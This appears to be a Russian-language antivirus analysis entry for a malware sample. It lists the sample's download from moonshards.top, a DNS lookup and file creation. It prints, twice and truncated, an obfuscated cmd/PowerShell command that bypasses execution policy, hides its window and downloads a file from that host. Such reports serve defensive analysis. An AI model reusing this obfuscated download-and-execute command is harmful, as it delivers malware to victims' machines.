Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWe^Rs^h^Ell.Ex^e^ -E^XE^CUtIO^nP^OLi^C^y BYpAss^ -nOP^r^OfI^Le -W^I^n^D^o^w^StYlE ^H^iD^dEn (New^-o^b^J^ecT ^sysT^Em.NE^T.weBcli^E^n^t^).d^OwNLoa^D^f^I^LE(^'http://moonshards...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWe^Rs^h^Ell.Ex^e^ -E^XE^CUtIO^nP^OLi^C^y BYpAss^ -nOP^r^OfI^Le -W^I^n^D^o^w^StYlE ^H^iD^dEn (New^-o^b^J^ecT ^sysT^Em.NE^T.weBcli^E^n^t^).d^OwNLoa^D^f^I^LE(^'http://moonshards...' (со скрытым окном)
